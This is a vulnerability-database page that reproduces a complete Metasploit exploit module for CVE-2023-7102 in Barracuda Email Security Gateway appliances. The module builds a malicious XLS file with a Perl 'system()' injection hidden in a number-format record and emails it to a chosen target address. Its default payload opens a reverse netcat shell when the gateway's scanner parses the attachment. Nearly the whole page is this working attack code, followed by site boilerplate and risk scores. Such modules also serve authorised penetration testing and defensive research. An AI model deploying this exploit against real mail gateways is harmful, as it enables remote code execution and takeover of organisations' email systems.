Lucene search
K

📄 Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution

🗓️ 20 May 2026 00:00:00Reported by Curt Hyvarinen, haile01, MandiantType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 78 Views

Exploits CVE-2023-7102 in Barracuda Email Security via malicious Excel attachments to run code.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::SMTPDeliver
    
      # BIFF8 Record Opcodes
      BIFF8_BOF = 0x0809  # Beginning of File
      BIFF8_EOF = 0x000A  # End of File
      BIFF8_CODEPAGE = 0x0042 # Code page
      BIFF8_WINDOW1 = 0x003D # Window information
      BIFF8_DATEMODE = 0x0022 # Date system
      BIFF8_FONT = 0x0031 # Font definition
      BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
      BIFF8_XF = 0x00E0 # Extended format
      BIFF8_STYLE = 0x0293 # Style definition
      BIFF8_BOUNDSHEET = 0x0085 # Sheet information
      BIFF8_DIMENSION = 0x0200 # Sheet dimensions
      BIFF8_ROW = 0x0208 # Row definition
      BIFF8_NUMBER = 0x0203 # Floating point cell
    
      # BIFF8 Constants
      BIFF8_VERSION = 0x0600
      BOF_WORKBOOK = 0x0005
      BOF_WORKSHEET = 0x0010
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
            'Description' => %q{
              This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
              in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
              in how the Amavis scanner processes Excel attachments using the Perl
              Spreadsheet::ParseExcel library.
    
              The library's Utility.pm contains an unsafe eval() that processes Excel
              Number format strings without validation. By crafting a malicious XLS file
              with a specially formatted Number format string containing Perl code, an
              attacker can achieve remote code execution when the ESG scans the email
              attachment.
    
              This module dynamically generates a minimal BIFF8 XLS file with the payload
              embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
              format string) or single quotes (breaks Perl eval injection).
    
              This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
              actor) starting November 2023. Barracuda deployed automatic patches on
              December 21, 2023.
    
              Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mandiant',             # CVE-2023-7101/7102 discovery
              'haile01',              # CVE-2023-7101 XLS payload technique
              'Curt Hyvarinen'        # Metasploit module
            ],
            'References' => [
              ['CVE', '2023-7102'],
              ['CVE', '2023-7101'],
              ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
              ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
              ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
            ],
            'DisclosureDate' => '2023-12-24',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'Privileged' => false, # Runs as scana user (Amavis scanner)
            'Payload' => {
              'Space' => 8192,
              'DisableNops' => true,
              'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
            },
            'Targets' => [
              [
                'Unix Command',
                {
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_netcat'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('MAILTO', [true, 'Target email address on the ESG']),
            OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
            OptString.new('BODY', [false, 'Email body text (default: random)']),
            OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
          ]
        )
      end
    
      def check
        connect
        banner_str = banner.to_s
        if banner_str =~ /barracuda/i
          return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
        end
    
        if banner_str =~ /ESMTP/i
          return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
        end
    
        CheckCode::Safe('No SMTP banner detected')
      rescue Rex::ConnectionError => e
        CheckCode::Unknown("Connection failed: #{e.message}")
      ensure
        disconnect
      end
    
      def exploit
        cmd = payload.encoded
    
        # Validate payload doesn't contain characters that break the injection
        if cmd.include?(']')
          fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
        end
        if cmd.include?("'")
          fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
        end
    
        @subject = datastore['SUBJECT']
        @body = datastore['BODY']
        @filename = datastore['FILENAME']
    
        @mailfrom = datastore['MAILFROM']
        @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
        @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
        @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
    
        print_status('Generating malicious XLS with payload in FORMAT record')
        xls_data = generate_malicious_xls(cmd)
    
        print_status('Composing email with XLS attachment')
        email_data = generate_exploit_email(xls_data)
    
        print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
        send_message(email_data)
    
        print_good('Email sent successfully')
        print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
      end
    
      #
      # Generate a malicious XLS file with payload embedded in FORMAT record
      # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
      #
      def generate_malicious_xls(cmd)
        # Build the malicious format string
        # Format: [>0;system('COMMAND')]0
        # The >0 comparison is always true for positive numbers, then Perl executes system()
        format_payload = "[>0;system('#{cmd}')]0"
        vprint_status("Format string payload: #{format_payload}")
        vprint_status("Payload length: #{format_payload.length} bytes")
    
        # Build BIFF8 workbook stream
        workbook = build_workbook_stream(format_payload)
    
        # Build BIFF8 worksheet stream
        worksheet = build_worksheet_stream
    
        # Combine streams (worksheet follows workbook globals in same stream)
        content = workbook + worksheet
    
        # Create OLE2 container using Rex::OLE
        xls_data = create_ole2_xls(content)
    
        vprint_status("Generated XLS size: #{xls_data.length} bytes")
        xls_data
      end
    
      #
      # Build BIFF8 workbook globals stream
      #
      def build_workbook_stream(format_payload)
        stream = ''.b
    
        # BOF - Workbook
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
    
        # Codepage (UTF-16)
        stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
    
        # Window1 - basic window settings
        stream << biff_record(BIFF8_WINDOW1, window1_data)
    
        # Datemode - 1900 date system
        stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
    
        # Font records (need at least 4 for XF records)
        4.times { stream << biff_record(BIFF8_FONT, font_data) }
    
        # FORMAT record - this is where our payload lives
        stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
    
        # XF records (cell formatting) - need 21 built-in + 1 custom
        21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
        stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
    
        # Style record
        stream << biff_record(BIFF8_STYLE, style_data)
    
        # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
        # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
        boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
        eof_size = biff_record(BIFF8_EOF, '').bytesize
        stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Build BIFF8 worksheet stream
      #
      def build_worksheet_stream
        stream = ''.b
    
        # BOF - Worksheet
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
    
        # Dimension - 1x1 used range
        stream << biff_record(BIFF8_DIMENSION, dimension_data)
    
        # Row definition
        stream << biff_record(BIFF8_ROW, row_data(0))
    
        # NUMBER record - cell with value that triggers format processing
        # Row 0, Col 0, XF index 21 (our custom format), Value 123.0
        stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Create OLE2 compound document containing the workbook stream
      #
      def create_ole2_xls(content)
        # Create temporary file for Rex::OLE
        tmpfile = Rex::Quickfile.new('msf-xls')
        tmppath = tmpfile.path
        tmpfile.close
    
        begin
          stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
          fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
    
          stm = stg.create_stream('Workbook')
          fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
    
          stm << content
          stm.close
          stg.close
    
          # Read the generated file
          xls_data = File.binread(tmppath)
          xls_data
        ensure
          File.delete(tmppath) if File.exist?(tmppath)
        end
      end
    
      # BIFF8 Record Helpers
    
      #
      # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
      #
      def biff_record(opcode, data)
        [opcode, data.bytesize].pack('v2') + data
      end
    
      #
      # BOF record data
      #
      def bof_data(sheet_type)
        [
          BIFF8_VERSION,   # BIFF version
          sheet_type,      # Sheet type (workbook or worksheet)
          0x0DBB,          # Build identifier
          0x07CC,          # Build year
          0x000000C1,      # File history flags
          0x00000006       # Lowest BIFF version
        ].pack('v4V2')
      end
    
      #
      # Window1 record data
      #
      def window1_data
        [
          0x0000,  # Horizontal position
          0x0000,  # Vertical position
          0x4000,  # Width
          0x2000,  # Height
          0x0038,  # Options
          0x0000,  # Selected tab
          0x0000,  # First displayed tab
          0x0001,  # Selected tabs count
          0x00E5   # Tab bar width ratio
        ].pack('v9')
      end
    
      #
      # Font record data
      #
      def font_data
        font_name = 'Arial'
        data = [
          0x00C8,           # Height (200 twips = 10pt)
          0x0000,           # Options
          0x7FFF,           # Color index
          0x0190,           # Font weight (400 = normal)
          0x0000,           # Escapement
          0x00,             # Underline
          0x00,             # Font family
          0x00,             # Character set
          0x00,             # Reserved
          font_name.length  # Name length (byte string)
        ].pack('v4vC5')
        data << font_name
        data
      end
    
      #
      # FORMAT record data - contains our payload
      #
      def format_data(format_string)
        # FORMAT record structure for BIFF8:
        # - 2 bytes: format index (custom formats start at 164)
        # - 2 bytes: string length (character count)
        # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
        # - variable: string data
        format_index = 165
    
        data = [
          format_index,
          format_string.length,
          0x00 # Latin-1 encoding (single byte per char)
        ].pack('v2C')
        data << format_string
        data
      end
    
      #
      # XF (extended format) record data
      #
      def xf_data(format_index)
        [
          0x0000,        # Font index
          format_index,  # Format index (0 = General, 165 = our custom)
          0x0001,        # Type/protection flags
          0x00,          # Alignment
          0x00,          # Rotation
          0x00,          # Text properties
          0x00,          # Used attributes
          0x00000000,    # Border colors
          0x00000000,    # Border lines
          0x00000000     # Pattern/background color
        ].pack('v3C4V3')
      end
    
      #
      # Style record data
      #
      def style_data
        [
          0x8000,  # XF index with built-in flag set
          0x00,    # Built-in style ID (Normal)
          0xFF     # Outline level
        ].pack('vCC')
      end
    
      #
      # Boundsheet record data
      #
      def boundsheet_data(sheet_offset)
        sheet_name = 'Sheet1'
        data = [
          sheet_offset,       # Absolute offset to BOF
          0x00,               # Sheet state (visible)
          0x00,               # Sheet type (worksheet)
          sheet_name.length   # Name length
        ].pack('VCC C')
        data << sheet_name
        data
      end
    
      #
      # Dimension record data
      #
      def dimension_data
        [
          0x0000,  # First row
          0x0001,  # Last row + 1
          0x0000,  # First column
          0x0001,  # Last column + 1
          0x0000   # Reserved
        ].pack('v5')
      end
    
      #
      # Row record data
      #
      def row_data(row_num)
        [
          row_num,  # Row number
          0x0000,   # First defined column
          0x0001,   # Last defined column + 1
          0x00FF,   # Row height
          0x0000,   # Reserved
          0x0000,   # Reserved
          0x0100    # Options
        ].pack('v7')
      end
    
      #
      # NUMBER record data
      #
      def number_data(row, col, xf_index, value)
        data = [row, col, xf_index].pack('v3')
        data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
        data
      end
    
      #
      # Generate MIME email with XLS attachment
      #
      def generate_exploit_email(xls_data)
        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.from = @mailfrom
        msg.to = datastore['MAILTO']
        msg.subject = @subject
    
        msg.add_part(@body, 'text/plain', nil, 'inline')
        msg.add_part_attachment(xls_data, @filename)
    
        msg.to_s
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 May 2026 00:00Current
8High risk
Vulners AI Score8
CVSS 3.17.8 - 9.8
EPSS0.43323
78